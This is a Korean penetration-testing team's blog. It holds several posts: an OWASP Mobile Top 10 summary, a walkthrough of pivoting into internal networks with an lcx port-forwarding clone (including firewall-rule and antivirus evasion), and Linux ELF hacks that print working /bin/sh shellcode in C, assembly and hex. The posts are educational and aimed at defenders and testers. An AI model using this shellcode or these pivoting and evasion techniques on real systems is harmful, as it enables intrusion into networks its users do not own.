3.3 M3: Insufficient Transport Layer Protection

해당 항목은 서버와의 통신시 암호화 여부를 확인하는 항목으로 금감원, 금융위 체크리스트에 포함된 항목으로 중요 정보 전송 시 네트워크 구간에서 암호화 여부를 확인하는 항목입니다. 네트워크 암호화에 대한 정당성 여부를 해당 항목에서 확인합니다.

 

- 네트워크 계층에 보안 없다면 도청에 취약하다고 가정합니다.
- 민감한정보, 세션토큰등을 전송하기 위해서 SSL/TLS를 적용합니다
- 적절한 키길이와 업계표준의 암호화 방식을 사용합니다.
- 신뢰할 수있는 CA 공급자에 의해 서명 된 인증서를 사용합니다.
- 항상 SSL chain 확인이 필요합니다.
- 모바일 앱이 잘못된 인증서를 발견할 경우 UI를 통해 사용자에게 알려야 합니다.
- 대체 채널 (SMS, MMS, 또는 알림)를 통해 민감한 데이터를 전송하지 않습니다.
- 가능하면 민감한 정보에 대해서는 암호화하고 SSL 통신을 적용합니다. SSL에서 취약점이 발견될 경우 이차적인 방어를

   제공합니다.

 

 

3.4 M4: Unintended Data Leakage

네번째 항목은 의도치 않은 데이터 누출 입니다. 개발자가 개발 당시 타 앱에서 쉽게 접근 할수 있는 영역에 취약한 앱이 민감한 정보를 저장할때 발생 할 수  있는 취약점 입니다. 개발 시 아래항목에 대해 민감한 정보 저장여부를 확인하여 접근 가능한 타 앱들을 제어하여 민감한 정보 노출을 최소화 해야 합니다.

- URL Caching (Both request and response)
- Keyboard Press Caching
- Copy/Paste buffer Caching
- Application backgrounding
- Logging
- HTML5 data storage
- Browser cookie objects
- Analytics data sent to 3rd parties

 

3.5 M5: Poor Authorization and Authentication

다섯번째는 취약한 인가 및 인증 입니다.
제한된 앱에 대한 사용, 인증된 유저만 사용 할 수 있는 기능에 대한 우회 등 바이너리 변조를 통해 인증 및 권한을 획들할 수있습니다.

모든 클라이언트 인증은 악의적인 사용자에 의해 우회가 가능합니다. 따라서 가능하다면 서버 측에서 인증 및 권한부여를 해야 합니다. 바이너리 변조에 대한 무결성 검증을 하지 않을 경우 내부 로직 변경으로 인증우회가 가능합니다. M10(Lack of Binary Protections)에 관련되어서도 추가로 확인해야합니다.

 


3.6 M6: Broken Cryptography

앱에 대한 데이터 보호를 위해 취약한 암호화 방식을 적용할 경우 나타날 수 있는 취약점입니다.
현재 사용하기 불충분한 알고리즘은 다음과 같습니다.
RC2 ,MD4, MD5, SHA1

두번째로는 올바른 알고리즘을 선택하여도 동작하는 프로토콜에 대해 적용 미흡으로 발생합니다.
예를 들어, 컨텐츠와 중요 키를 함께 저장할 경우, 공격자가 해당 키를 이용하여 중요 정보를 해독할 수 있습니다.
해당 항목에 대해서는 암호화 방식이 명시된 개발 명세서(Specification)를 통해 확인 가능합니다.


3.7 M7: Client Side Injection

일곱번째 클라이언트 사이드 인젝션은 모바일 앱 에서 모바일 디바이스에 실행시키기 위해 사용자 입력 값에 악성코드를 삽입하는 취약점입니다.

서버사이드 취약점과 반대로 클라이언트 사이드에서 발생하는 취약점입니다.

위협되는 취약점으로는 다음과 같습니다.
SQLite Injection, Local File Inclusion, XML injection, javascript injection(xss, etc), Binary injection 등등

 

 

3.8 M8: Security Decisions Via Untrusted Inputs

여덟번째 내용은 Security Decisions Via Untrusted Inputs(신뢰할수 없는 입력값에 의한 보안 의사결정) 입니다.
프로세스 간의 통신 (IPC) 매커니즘에서  발생할 수 있는 취약점입니다. 민감한 정보는 IPC매커니즘을 사용하지 않아야 하며,
iOS 앱 간의 통신 시 Pasteboard 방식과 handleOpenURL 방식을 지향하며, 필요 시 openURL방식을 통해 앱 간의 통신을 해야 합니다. openURL 방식은 sourceApplication 이 명시되어 있어 제한된 앱에서만 통신할 수 있습니다.

 

 

3.9 M9: Improper Session Handling

아홉번째로 Improper Session Handling 입니다.
인증 후 세션을 부여받았을때, 한개의 세션에 한개의 모바일 디바이스가 허용되도록 해야합니다. 또한 모바일 앱 코드에서 사용자 세션을 보호해야 합니다.

아래는 올바른 세션 핸들링 입니다.
- Failure to Invalidate Sessions on the Backend: 많은 개발자들이 세션 파기시 모바일 앱에서만 세션을 파기하는데 해당 세션

   탈취 시 서버와 통신을 이어갈 수 있어 서버 측에서 또한 세션을 파기해야 합니다.
- Lack of Adequate Timeout Protection: 세션 timeout을 설정해야 합니다. 세션 timeout설정하여 악의적인 사용자가 존재하는

   세션을 탈취 시 타 사용자 권한을 획득하는 것을 막을수 있습니다.
- Failure to Properly Rotate Cookies: 인증 상태 변경 시 이전 세션에서 사용되었던 쿠키가 허용되지 않도록 파기해야 합니다.
- Insecure Token Creation: 토큰 생성시 guessing /anticipation attack 에 노출되지 않도록 개발자는 잘 적립된 암호화

   알고리즘을 통해 암호화 해야 합니다.

 


3.10 M10: Lack of Binary Protections

마지막 열번째는 Lack of Binary Protections 입니다.
금감원, 금융위 점검 시 함께 하는 애플리케이션 무결성 검증과 동일한 항목으로 바이너리 변조를 통해 보안솔루션 우회, 권한상승

등 애플리케이션 로컬에 존재하는 로직들을 공격자가 변조할 수 있게 됩니다. 변조된 애플리케이션은 서버 측에서는 해당 앱에 대해 변조된 앱인지 확인하지 않으면 정상적인 요청으로 인지하여 다양한 종류의 risk가 존재하게 됩니다.

자사에서는 보안솔루션 우회, MDM솔루션 정책 해제, 루팅 및 탈옥탐지 우회, 게임크랙 등 바이너리 변조를 이용한 시나리오 기반 점검 방법론을 통해 모바일 모의해킹을 수행하고 있습니다.

 


4. 결론
지금까지 OWASP에서 발표한 모바일 Top 10 Risk에 대해 간단하게 살펴 보았으며, 모바일 Top 10 리스크는 취약점 도출뿐만 아니라 개발 시 해당 리스트를 고려하여 개발 할 수 있도록 10가지 위협에 대한 가이드 라인이 나와있습니다.
모의해킹 시나리오는 다양하게 존재하지만, 10가지 위협에 대한 기술 및 정책 수렴을 통해 개발 혹은 취약점 도출 시 기준점을 시사할 수 있겠습니다. 자세한 내용을 살펴보려면 아래 링크를 확인해 주시길 바랍니다.
https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks

마지막으로 블로그에 간단하게 정리한 내용이 개발자 혹은 모의해킹 컨설턴트들에게 유용한 정보가 되었으면 합니다.
감사합니다.

 

 

저작자 표시 비영리 변경 금지
신고

얼마전 포스팅 했던 CVE-2013-4011 AIX InfiniBand 취약점을 통해 본 고전해킹글을 보신 어떤 분께서 아래와 같은 질문을 하셨습니다.


"A3는 모의해킹 시, 내부 침투를 위해 어떤 방법을 사용합니까?"


해당 포스팅 글 중 캡쳐화면의 일부에서 192.x 로 시작하는 사설아이피 정보가 노출되어 궁금해지셨다고 합니다.

모의해킹을 하기 위한 방법은 팀마다 소유하고 있는 노하우가 다르고, 개개인 역시 사용하는 툴이나 방법도 다양합니다.

따라서 이것이 정답이다! 라고 하기 보다, 많은 방법들 중 포트포워딩을 통한 내부 침투의 케이스를 공유해볼까 합니다.


본 포스팅에서 설명 드리게 될 포트포워딩에 사용되는 툴은 lcx라는 툴로, 한때 웜 바이러스나 중국발 해킹 등에 사용된 포트포워딩 악성프로그램입니다.

악성프로그램이지만 동작구조가 응용하기 쉽게 되어 있는 프로그램이기 때문에 모의해킹에 사용되기도 합니다.


우선 다음 구조도를 참고하시면 lcx를 사용한 내부 침투가 어떻게 이루어지는지 간단하게 이해하실 수 있을 듯 합니다. 


[그림 1] lcx를 사용하여 포트포워딩으로 구성한 내부 침투 구조도


lcx의 경우 중국발 해킹에 사용되었기 때문에 소스코드는 유출이 되지 않은 것으로 알고 있습니다.

2007년경 침해사고 분석 시, Windows 서버에서 lcx를 접하고 이를 모의해킹에 응용하기 위해 구조를 분석하여 Clone 프로그램을 만드는 개인 프로젝트를 했었습니다.

현재 저희 팀 모의해킹에 사용되는 lcx Clone 프로그램은 해당 프로젝트의 산출물인 셈 입니다.

lcx Clone 프로그램은 Windows 용 lcx와 호환이 가능할 뿐 아니라 소스코드가 온전히 보존되어 있기 때문에 타 플랫폼에서 사용도 가능하며, lcx를 악성프로그램으로 탐지하는 백신의 경우 재 컴파일하여 우회할 수 있는 등의 특징이 있습니다.


Web Server가 Windows인 경우, SQL Injection 취약점으로 명령어를 실행할 수 있는 환경이거나 파일 업로드 취약점을 이용하여 웹쉘을 통해 명령어를 실행 할 수 있는 경우 lcx를 업로드 하고, 이를 통해 내부 네트워크에 있는 다른 서비스들을 접근할 수 있습니다.

다음 화면들은 위 [그림 1] lcx를 사용하여 포트포워딩으로 구성한 내부 침투 구조도 그림에서 보실 수 있는 구조와 같이 lcx를 이용해 Web Server의 터미널 서비스(3389 포트)에 접근하는 과정입니다.


[그림 2] lcx를 사용하여 loopback(127.0.0.1)의 터미널 서비스 포트(3389) 리다이렉트


[그림 3] 포트포워딩을 통해 방화벽 Inbound 룰셋을 우회하여 터미널 관리권한 획득


위 화면들을 통해 포트포워딩으로 Inbound 룰셋을 우회하고 내부의 다른 서비스포트로 접근이 가능한 것을 볼 수 있습니다.

slave 역할을 하는 서버에서 loopback이 아닌 다른 아이피 주소와 포트를 지정하면 다음과 같은 시나리오도 가능하다는 것을 알 수 있습니다.

[그림 4] 포트포워딩을 통해 물리적으로 별도 존재하는 DB 서버 접근


위와 같이 물리적으로 별도 서버로 존재하는 경우는 아니지만, 다음 화면들을 통해 MS-SQL 서비스 포트(1433)를 포워딩하여 GUI 환경의 데이타베이스 관리 및 점거가 가능함을 볼 수 있습니다.


[그림 5] MS-SQL 서버의 서비스 포트(1433) 리다이렉트 설정


[그림 6] 리다이렉트 된 포트를 사용하여 MS-SQL GUI 관리프로그램을 통한 로그인 성공


저희 TeamCR@K이 모의해킹 중 내부침투를 위해 어떤 방법을 사용하는지..에 대한 궁금증이 조금은 풀리셨는지 모르겠습니다.

이러한 방법이 탐지되고 막히면 저희는 또 다른 연구를 통해 우회방안을 만들어야겠지요.. ^^;

그러나 대한민국 IT보안을 위하는 것이라면 그러한 수고(?)쯤은 하나도 힘들지 않을 것 같습니다. ^^

보안이라는 것은 강조하고 또 강조해도 모자름이 없을테니까요..


읽어주셔서 감사합니다.

저작자 표시 비영리 변경 금지
신고

1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)


지난번에 다루었던 1. Linux ELF Binary Hack #1 (언어론적 고찰)편에서는 단순히 프로그래밍 언어에 한정하여 파일의 크기를 줄이는 시도를 했었다면 이번에는 실행파일 구조의 특성과 툴을 사용하는 방법들을 통해 접근해보고자 합니다.


먼저 ELF 파일 포멧을 알아보는 툴로 objdump라는 툴이 있습니다.

해당 툴을 이용해 ELF 파일 포멧 구조를 대강 알 수 있는데, 다음과 같이 활용 해 볼 수 있습니다.


[그림 1] objdump툴의 -S 옵션으로 바이너리 분석


위 그림은 objdump툴로 디스어셈블(Disassemble)해 본 화면입니다.

main 함수의 주소는 0x08048374이며, _start 영역에서 해당 main 함수의 주소를 stack에 저장하는 것을 볼 수 있습니다.

이러한 과정은 왜 거치는 것일까요?

다음 Link에는 Linux에서 main 함수가 어떻게 실행되는지 간략하게 설명되어 있습니다. 참조하시면 도움이 되실 듯 합니다.


http://www.tldp.org/LDP/LGNET/issue84/hawk.htmlHow main() is executed on Linux By Hyouck "Hawk" Kim


objdump 툴을 사용해 _start 함수의 정보를 알아내고 해당 주소가 바이너리의 어느 부분에 존재하는지 찾아보았습니다. 


[그림 2] 바이너리 파일 내에 존재하는 start 함수 주소


해당 내용을 조금 더 자세하게 확인하기 위해 ELF 파일포멧의 구조체가 정의된 헤더파일을 참조해 보았습니다.


[그림 3] ELF 정의 구조체와 실제 바이너리 파일 비교


ELF 파일 포멧의 구조들을 확인 한 후 프로그램 시작점을 main 함수 대신 _start 함수로 정의하면 어떨까 생각해 보았습니다.

다음은 main 을 함수의 시작으로 정의하지 않고 _start를 프로그램의 시작으로 정의하여 Assembly 소스코드를 작성하고 컴파일 해 보았습니다.


[그림 4] gcc 컴파일러의 -nostdlib 옵션 사용


처음 시도 시, _start 함수에 대해 "다중 정의 에러"라고 컴파일 되지 않았던 문제는 gcc 의 -nostdlib 옵션을 사용해 컴파일 한 결과 정상적으로 컴파일 및 실행이 되는 것을 확인 할 수 있습니다.

gcc 의 -nostdlib 옵션에 대해 man 페이지는 다음과 같이 설명되어 있습니다.


       -nostdlib

           Do not use the standard system startup files or libraries when

           linking.  No startup files and only the libraries you specify will

           be passed to the linker.  The compiler may generate calls to "mem-

           cmp", "memset", "memcpy" and "memmove".  These entries are usually

           resolved by entries in libc.  These entry points should be supplied

           through some other mechanism when this option is specified.


           One of the standard libraries bypassed by -nostdlib and -nodefault-

           libs is libgcc.a, a library of internal subroutines that GCC uses

           to overcome shortcomings of particular machines, or special needs

           for some languages.


           In most cases, you need libgcc.a even when you want to avoid other

           standard libraries.  In other words, when you specify -nostdlib or

           -nodefaultlibs you should usually specify -lgcc as well.  This

           ensures that you have no unresolved references to internal GCC

           library subroutines.  (For example, __main, used to ensure C++ con-

           structors will be called.)


대략적으로 gcc의 -nostdlib 옵션을 사용하여 컴파일 하는 경우 링크 시에 기본적인 시스템 초기 라이브러리들을 링크하지 않는다는 내용입니다. 따라서 기존에 _start가 정의되어 있던 라이브러리는 배제하고 Object 파일을 생성할 수 있고, "다중 정의 에러"를 회피 할 수 있습니다.

결과적으로 main 대신 _start를 프로그램 시작점으로 사용하고 기본 라이브러리를 배제하는 형태로 472바이트의 쉘 실행 바이너리를 만들어 낼 수 있었습니다.

여기서 조금 더 욕심을 내어 shellcode 작성과 같이 NUL문자(0x00)를 제거하는 형태로 수정해 보기로 하였습니다.


[그림 5] Assembly 상태의 0x00 코드 제거


수정을 해 보았지만 파일 크기에 큰 변화가 있지는 않았습니다.

마지막으로 조금 더 바이너리를 작게 만들기 위해 극단적인 시나리오를 생각해 보았습니다.


"이미 쉘 실행이 되어 있는 상태는 메모리에 프로세스 이미지로 존재하는 상태이므로, 이후 정리작업에 필요한 코드를 삭제해보자"


따라서 기존 바이너리에서 쉘 실행 이후 사용될 법한 부분들을 삭제해보기로 하였습니다.


[그림 6] dd로 바이너리 파일 쪼개기


쉘 실행에 필요한 부분은 int 0x80 (0xCD 0x80)까지 이므로, 이후의 내용은 모조리 날려보았습니다.

그렇게 하여 109바이트짜리 Linux 실행 파일이 만들어졌고, 정상적으로 동작하는 것도 확인 할 수 있었습니다. 


이러한 실행파일이 절대 정상적으로 만들어진 실행파일이라고 볼수는 없지만, 서버 내부에 컴파일이 안되는 환경이나 기존에 의도한 동작을 수행하는 바이너리를 생성하도록 만든 exploit을 만들 시, 코드 형태로 쉽게 만들 수 있는 등의 용도로 활용될 수 있습니다.

더욱이 이러한 작업(혹은 삽질?^^;)들을 통해 개인의 지식이 발전함은 말할 나위 없겠지요...


이상 Linux기반에서 바이너리 파일의 크기를 줄이기 위한 삽질기였습니다.


아무튼 많이 쌀쌀해진 날씨에 감기 조심하시고 이러한 보잘것 없는 삽질기라도 읽어주셔서 감사합니다. ^^

더욱 발전하는 TeamCR@K이 되겠습니다. 

감사합니다.

저작자 표시 비영리 변경 금지
신고


1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)


웹 어플리케이션을 타겟으로 한 공격을 방지하도록 만든 웹 방화벽(Web Application Firewall), 침입탐지시스템(Indrusion Detection System)에서 출발하여 이제는 탐지와 방지를 겸하는 침입방지시스템(Intrusion Prevention System)까지...

공격기법만 발전하는것이 아니라 그에 비례하여 보안장비 및 정책 또한 발전이 계속되고 있는데요..

웹 방화벽이나 침입방지시스템에서 공격을 탐지하기 위해 사용되는 패턴은 계속 업데이트 되고 있으며, 이러한 보안정책들을 우회하는 기법 또한 다양하게 발전하고 있습니다.


침입탐지시스템을 NIDS(Network based Intrusion Detection System)으로 구성할 것이냐 HIDS(Host based Intrusion Detection System)으로 구성할 것이냐를 놓고 보안 실무자들이 고민하던 시절, 탐지 패턴을 우회하기 위해 고민을 했던 사람들도 있었습니다. PTer (Penetration Tester)라고 부르며, 현재의 모의해킹을 수행하는 컨설턴트를 일컫는 말이었습니다.

IDS 탐지 패턴의 경우 Remote Buffer Overflow 공격에 많이 사용됐던 NOP 코드(0x90)를 추가하거나, x86 기반 shellcode에서 시스템 콜을 실행하기 위해 반드시 필요한 int 0x80(0xCD 0x80)을 추가하기도 했었습니다.

또한 이러한 패턴들을 우회하기 위해 Encoding 된 shellcode를 사용하는 우회기법부터 stack 상 code 실행을 불가하게 만든 시스템을 우회하기 위해 ROP를 구성하여 Exploit을 하는 기법까지 다양한 우회기법이 존재합니다.

이렇게 만들어진 shellcode들은 Programming Hack을 통해 가능한 작게 만들어지도록 변경되기도 하였습니다.

한 때에는 이러한 Hack을 개인프로젝트로 했었는데 이번에는 잠시 그에 대해 공유해볼까 합니다.

Hack의 목적은 "리눅스 바이너리 파일의 크기 줄이기"이고, 해당 주제를 프로그래밍 언어의 관점과 바이너리의 구조적 특성 및 변조 툴을 이용할 수 있는 관점. 두 가지 관점에서 정리해 보도록 하겠습니다.


Hack을 시도하려는 대상은 다음의 소스코드를 Compile한 바이너리 파일입니다.

/*

* 0.c

*/

#include <stdio.h>

#include <unistd.h>


int main(void)

{

        char *sh[2] = { "/bin/sh", NULL };


        execve(sh[0], sh, NULL);

        return 0;

}


/bin/sh 경로의 쉘을 실행시키도록 되어 있는 C언어로 만들어진 소스코드입니다.

해당 소스코드를 컴파일 하면 다음과 같이 정상적으로 쉘을 실행시키는 모습을 볼 수 있습니다.


[그림 1]  0.c 컴파일 후 실행 화면


여기서 잠깐, 구조론적 관점인 것 같지만 여러분들은 컴파일러를 사용해 바이너리 파일을 생성할 때, 내부적으로 어떻게 만들어지는지 아시나요?

gcc를 예로 든다면, 다음의 과정을 거치는 것을 확인할 수 있습니다.


1. C언어 소스코드를 Assembly 소스코드로 변환

2. 변환된 Assembly 소스코드를 사용해 Object 파일 생성

3. 생성된 Object 파일과 기본 라이브러리를 링크하여 실행 가능한 파일(Executable File) 생성


C언어는 사람이 이해하거나 유지보수가 가능하도록 High-Level 형태로 구조화 한 프로그래밍 언어이고, 이를 컴파일러(Compiler)라는 매개체를 사용해 실행 가능한 파일(Executable File)로 만들게 되어 있습니다.

다음 그림은 실제 gcc 컴파일러를 사용해 C언어 소스코드가 실행 파일로 변환되는 과정을 system call tracer로 분석 해 본 화면입니다. 


[그림 2]  gcc 컴파일러의 내부 동작


위 그림을 보면 C언어로 만들어진 소스코드가 cc1 명령어를 통해 확장자 *.s를 가진 파일을 생성한 후, as를 통해 Object 파일을 생성하는 것을 볼 수 있습니다.

또한 *.s 확장자를 가진 파일을 살펴보면, Assembly 언어의 파일임을 알 수 있습니다.


[그림 3]  cc1으로 0.c 파일의 Assembly 코드 생성


그렇다면, 처음부터 C언어가 아닌 Assembly 언어 상태의 파일을 컴파일 하면 바이너리 파일의 크기를 줄일 수 있지 않을까 생각해 봅니다.

다음은 /bin/sh의 쉘을 실행시키는 shellcode를 만들 때 사용되는 Assembly 소스코드입니다.

# 1.s

.globl main


main:

    xorl    %edx, %edx

    push    %edx

    push    $0x68732f6e

    push    $0x69622f2f

    movl    %esp, %ebx

    push    %edx

    push    %ebx

    movl    %esp, %ecx

    movl    $0x0b, %eax

    int     $0x80


위 코드를 컴파일 해서 실행해보면 정상적으로 실행되며, 파일의 크기 역시 기존 파일보다 작아진 것을 확인 할 수 있습니다.


[그림 4]  C코드와 Assembly코드의 컴파일 결과 비교


만약 위 Assembly 소스코드를 Exploit 할 때와 같이 shellcode 형태로 만들어 실행하면 파일의 크기도 조금 달라지겠죠.

이를 확인해보도록 합니다.


/*

* 2.c

*/

/*

08048374 <main>:

 8048374:       31 d2                   xor    %edx,%edx

 8048376:       52                      push   %edx

 8048377:       68 6e 2f 73 68          push   $0x68732f6e

 804837c:       68 2f 2f 62 69          push   $0x69622f2f

 8048381:       89 e3                   mov    %esp,%ebx

 8048383:       52                      push   %edx

 8048384:       53                      push   %ebx

 8048385:       89 e1                   mov    %esp,%ecx

 8048387:       89 d0                   mov    %edx,%eax

 8048389:       b0 0b                   mov    $0xb,%al

 804838b:       cd 80                   int    $0x80

*/

char shellcode[] =

        "\x31\xD2\x52\x68\x6E\x2F\x73\x68\x68\x2F"

        "\x2F\x62\x69\x89\xE3\x52\x53\x89\xE1\x89"

        "\xD0\xB0\x0B\xCD\x80";


int main(void)

{

        void(*f)(void) = shellcode;

        f();

        return 0;

}



[그림 5]  최종 컴파일 결과 비교


Assembly 코드를 objdump라는 툴을 이용하여 기계어로 뽑아낸 다음, 이를 변수화 하여 함수 포인터(Function Pointer)형태로 실행시키는 소스코드입니다.

Stack 실행 방지 기능으로 인해 -z execstack 옵션을 추가하여 재 컴파일 한 후에 정상적으로 쉘이 실행되는 것을 볼 수 있었습니다. 

그러나 Assembly 코드보다는 실행파일의 크기가 조금 커진것을 확인할 수 있습니다.


위 결과에서 보듯 파일의 크기는 C언어 > 함수 포인터를 사용하여 실행하는 shellcode > Assembly 순입니다.

전체적으로 보면 더 고칠 수 있는 부분이 있는 것 같습니다.

또한 겨우 몇 바이트 줄이기 위해 이런 삽질을 해야 하는가 하는 생각까지 들기도 합니다.

그래서 다음에는 실행파일 구조의 특성을 이용하거나 관련 툴을 사용하여 파일의 크기를 변조하도록 시도해보려고 합니다.

해당 방법을 사용하면 Linux ELF 실행파일의 크기가 획기적으로 작아지는 것을 확인하실 수 있습니다.


다음 2. Linux ELF Binary Hack #2 (구조론적 고찰) 편을 기대해주세요.


감사합니다.

저작자 표시 비영리 변경 금지
신고


 

티스토리 툴바